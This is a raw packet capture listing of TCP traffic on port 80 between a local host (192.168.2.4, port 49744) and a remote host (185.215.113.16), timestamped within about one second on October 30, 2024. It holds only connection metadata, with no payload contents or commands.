Oct 30, 2024 12:36:35.555371046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555375099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555387974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555407047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555411100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555430889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555448055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555465937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555476904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555481911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555497885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555505037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555514097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555522919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555533886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555555105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555557966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555572987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555588007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555600882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555604935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555627108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555655003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555671930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555686951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555706024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555720091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555742979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555757046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555787086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555802107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555804014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555818081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555836916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555841923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555874109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.555885077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555901051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555917978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.555959940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556006908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556029081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556044102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556054115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556058884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556080103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556088924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556130886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556138039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556159973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556174994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556190014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556205034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556214094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556238890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556276083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556291103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556304932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556319952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556334019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556338072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556351900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556379080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556401968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556418896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556435108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556457996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556503057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556520939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556544065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556546926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556564093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556581020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556605101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556622982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556629896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556638956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556680918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556698084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556720972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556720972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556739092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556745052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556756020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556777954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556822062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556864023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556886911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556909084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556924105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556941986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556957006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556962013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556972980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.556983948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.556989908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557019949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557106972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557122946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557140112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557164907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557193041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557199955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557209969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557229042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557245970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557251930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557260990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557281017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557281971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557296991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557317972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557321072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557357073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557364941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557382107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557420015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557442904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557472944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557487965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557502031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557512045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557545900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557552099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557566881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557583094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557596922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557610035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557611942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557634115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557693958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557708979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557722092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557738066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557744026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557753086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557765007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557802916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557837009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557853937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557871103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557888031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557893038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.557903051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.557925940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.558026075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558041096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558056116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558070898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558079004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.558089972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558109999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.558130026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558134079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.558145046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558159113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558176041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558191061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.558193922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.558211088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.610383034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.672667980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672719955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672735929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672765970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.672804117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672818899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672833920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672873974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.672905922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.672919035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672934055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672949076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672969103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.672970057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.672996044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673010111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673019886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673027039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673046112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673067093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673082113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673095942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673113108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673125029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673145056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673194885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673209906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673226118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673245907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673250914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673261881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673278093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673293114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673305988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673321009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673337936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673366070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673383951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673399925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673413038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673430920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673453093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673501015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673516989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673532963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673549891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673556089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673573971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673588991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673592091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673609018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673628092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673630953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673650980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673666000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673681974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673702955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673732042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673734903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673748970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673764944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673784971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673790932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673804998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673819065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673835993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673856974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673861027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673877954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673919916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.673948050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673962116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673975945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.673990011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674004078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674021006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674077034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674091101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674104929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674115896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674120903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674144983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674150944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674169064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674185991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674190998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674205065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674242020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674262047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674278021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674290895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674307108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674310923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674330950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674387932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674401999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674416065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674422979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674432039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674447060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674453974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674482107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674493074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674510956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674525976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674545050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674557924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674599886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674607038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674623013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674638033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674659014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674727917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674742937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674758911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674778938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674803972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674807072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674822092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674838066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674860954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674921989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674940109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674972057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.674973011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.674993038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675009012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675028086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675031900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675049067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675060034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675064087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675082922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675143003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675158024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675172091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675188065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675193071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675204039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675282955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675297976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675319910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675331116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675335884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675358057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675374031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675398111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675415993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675421000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675523043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675539017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675554037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675570011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675597906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675753117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675767899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675784111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675798893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675827026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675878048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675893068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675905943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675921917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.675926924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675966024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.675988913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676003933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676018953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676034927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676044941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676050901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676071882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676137924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676151991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676166058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676173925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676182032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676198006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676207066 CET	49744	80	192.168.2.4	185.215.113.16
